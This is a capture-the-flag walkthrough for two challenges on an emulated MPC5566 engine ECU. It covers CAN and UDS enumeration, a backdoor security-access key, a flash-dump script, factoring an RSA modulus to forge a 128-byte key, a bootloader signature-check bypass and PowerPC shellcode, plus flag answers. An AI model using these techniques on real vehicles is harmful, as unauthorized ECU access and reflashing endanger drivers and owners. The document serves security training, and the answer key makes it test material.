PowerPC MPC5566 Challenges
Challenges
These challenges run against an emulated ECU built around an MPC5566 PowerPC microcontroller, connected to your VM over a virtual SocketCAN bus (vcan0). No firmware is provided up front, so each challenge starts by enumerating the ECU over UDS and works toward a full reverse-engineering and exploitation chain.
socketpanda.py and uds.py) make it convenient to script the UDS interactions.Wired Keyless Entry (1000 points)
Can you bypass Security Access level 0x11 on the ECU?
Walkthrough
Find the CAN arbitration ID. Sweep every 11-bit ID with an ISO-TP First Frame and watch for a Flow Control reply (this works even if the ECU speaks KWP2000 instead of UDS). In one terminal run
candump vcan0, then in another run the sweep:for i in $(seq 0 2047); do cansend vcan0 $(printf "%03x" $i)#1008AAAAAAAAAAAA; doneA response appears on
0x7E8when sending to0x7E0- the typical UDS request/response pair for an engine controller.Enumerate the supported UDS services. Send an empty payload to each service ID. A Service Not Supported (
0x11) error means the service is unavailable; an Incorrect Message Length or Invalid Format (0x13) error means it exists but needs the right payload.from socketpanda import SocketPanda from uds import UdsClient if __name__ == "__main__": p = SocketPanda('vcan0') uds = UdsClient(p, 0x7e0) for i in range(0, 0x100): try: uds._uds_request(i) except Exception as e: if not str(e).endswith("not supported"): print(hex(i), e)This reveals the available services:
0x10 DIAGNOSTIC_SESSION_CONTROL - incorrect message length or invalid format 0x11 ECU_RESET - incorrect message length or invalid format 0x22 READ_DATA_BY_IDENTIFIER - incorrect message length or invalid format 0x27 SECURITY_ACCESS - incorrect message length or invalid format 0x2c DYNAMICALLY_DEFINE_DATA_IDENTIFIER - service not supported in active session 0x3e TESTER_PRESENT - incorrect message length or invalid formatRead the Data Identifiers (DIDs). Brute-force the full DID range with
Read Data By Identifier(0x22):for did in range(0x0, 0x1_0000): try: resp = uds.read_data_by_identifier(did) print(hex(did), resp, resp.hex()) except Exception as e: passThe interesting fingerprints:
0xf186 b'\x00' 00 0xf187 b'PN_B0NN3T\x00' 504e5f42304e4e335400 0xf18a b'AUDI' 41554449 0xf18b b'01292009' 3031323932303039 0xf18c b'AUDI2009' 4155444932303039 0xf190 b'1BHCM82633A004527' 314248434d383236333341303034353237The
PN_B0NN3Tpart number is the OSINT anchor - it points at the paper Beneath the Bonnet (Jan Van den Herrewegen & Flavio Garcia), which describes the seed/key scheme used here.Pass Security Access level 0x1. Request a 4-byte seed with
uds.security_access(0x1)and send the computed key back withuds.security_access(0x2, key). Dumping the level 0x1 key check later confirms the algorithm, but it also contains a backdoor constant - the check returns true when the user key equals0xcaffe012:bool uds_27_security_access_check_key_level_0x1(uint seed, uint key_from_user) { int iVar1; int i; i = 0; for (iVar1 = 1; (((seed = seed << 1, i == 0 || (i == 2)) || (i - 6U < 2)) || (seed = seed | 1, iVar1 != 0xb)); iVar1 = iVar1 + 1) { i = i + 1; } if (key_from_user != seed) { return key_from_user == 0xcaffe012; // backdoor key } return true; }Dump the firmware. With level 0x1 unlocked, enter the extended diagnostic session (
uds.diagnostic_session_control(0x3)), which exposesDynamically Define Data Identifier(0x2C). Define a dynamic DID over a memory range and read it back to dump flash from0x0to0x60000:block_size = 128 did = 0xf300 with open('dump.bin', 'wb') as f: for addr in range(0x0000_0000, 0x0006_0000, block_size): definition = DynamicSourceDefinition( data_identifier=None, position=None, memory_size=block_size, memory_address=addr) uds.dynamically_define_data_identifier(0x2, did, [definition], memory_size_bytes=1) data = uds.read_data_by_identifier(did) f.write(data) f.flush()Defeat Security Access level 0x11. Requesting a seed with
uds.security_access(0x11)returns a 32-byte seed and expects a 128-byte key in response (uds.security_access(0x12, key)). Reverse engineering the dumped firmware shows the key verification implements big-integer multiply/modulo - in other words, RSA-style modular exponentiation against a fixed modulus:/* the algorithm computes key^e mod n over 128-byte big integers, */ /* then compares the last 32 bytes against a reordered seed */ multiply_modulo(out, out, tmp, static_data_128_bytes); // square-and-multiply, 0x10 roundsRecover the private key by factoring the modulus with RsaCtfTool, then sign the reordered seed:
rsactftool -e 0x10001 \ -n 0xd546aa825cf61de97765f464fbfe4889ad8bf2f25a2175d02c8b6f2ac0c5c27b67035aec192b3741dd1f4d127531b07ab012eb86241c09c081499e69ef5aeac78dc6230d475da7ee17f02f63b6f09a2d381df9b6928e8d9e0747feba248bffdff89cdfaf4771658919b6981c9e1428e9a53425ca2a310aa6d760833118ee0d71 \ --privateCapture the flag. Send the forged key for level 0x11. On success the ECU broadcasts the flag over the bus - watch it reassemble from the ISO-TP frames in
candump vcan0:vcan0 0C0 [8] 10 22 66 6C 61 67 7B 6E vcan0 0C0 [8] 21 30 74 5F 72 65 61 6C vcan0 0C0 [8] 22 6C 79 5F 6B 33 79 6C vcan0 0C0 [8] 23 65 73 73 5F 6E 6F 77 vcan0 0C0 [8] 24 5F 31 73 5F 31 74 7DConverting the payload bytes from HEX to ASCII gives the flag.
ANSWER
0xcaffe012); level 0x11 is RSA with a factorable modulus. The flag is broadcast on arbitration ID 0x0C0 in ISO-TP form.Tune-Up Trouble (2000 points)
Can you reflash the ECU with modified firmware and gain code execution?
Walkthrough
Map the firmware layout. The flash dumped in part one contains a bootloader at
0x10000and two copies of the main application at0x40000and0x50000(an A/B update scheme). The bootloader implements a standard UDS update flow:- Switch to the programming session -
uds.diagnostic_session_control(0x2) - Request download -
uds.request_download(0x40000, 0x10000, 4, 4, 1) - Send the image -
uds.transfer_data(block_number, data)for every block. Sending the final block automatically triggers verification. - Request transfer exit -
uds.request_transfer_exit()(optional on this ECU) - Run routine
0x55aa-uds.routine_control(0x1, 0x55aa). If verification passed, the bootloader commits RAM to flash. - Reboot - ECU reset, or request the default session
uds.diagnostic_session_control(0x1)
- Switch to the programming session -
Understand the verification. After the final block arrives, the bootloader computes a SHA-256 of the image and verifies the final
0x80bytes as an RSA signature against a public key baked into the bootloader. This modulus is different from the one used for security access and is not easily factored, so the crypto itself cannot be forged.Find the logic flaw. Two weaknesses in how the bootloader tracks verification state allow a bypass:
- The verification-status variable in RAM is not cleared when a new update procedure starts.
- Routine
0x55aadoes not check that the upload actually completed - it only inspects the status variable, then flashes whatever is in the RAM buffer.
Bypass the signature check. Chain those flaws:
- Upload the original firmware (its valid signature is still present at the end of the dump). Completing it sets the verification-status variable to pass.
- Start a new update with your modified firmware, but deliberately do not send the final block - so verification is never re-triggered and the status variable stays pass.
- Call routine
0x55aa. The bootloader sees pass and commits your modified (unverified) image to flash. - Reboot the ECU.
Because verification is slow, split this into two scripts: the first uploads the original firmware, the second uploads the modified firmware and calls routine
0x55aa.Write the shellcode. Proving code execution means writing a magic value to a special register, which makes the emulator emit the flag. Patch the firmware entrypoint with PowerPC shellcode that loads
0x464c4147(ASCII"FLAG") intor6and moves it intoSPRG7:00042338 3c c0 46 4c lis r6, 0x464c ; r6 = 0x464c0000 0004233c 60 c6 41 47 ori r6, r6, 0x4147 ; r6 = 0x464c4147 ("FLAG") 00042340 7c d7 43 a6 mtspr SPRG7, r6 ; write to special register -> ECU sends flagCapture the flag. Reboot the ECU after flashing. The patched entrypoint runs, writes
"FLAG"toSPRG7, and the emulator broadcasts the flag over CAN.
ANSWER
0x55aa lets unsigned firmware reach flash.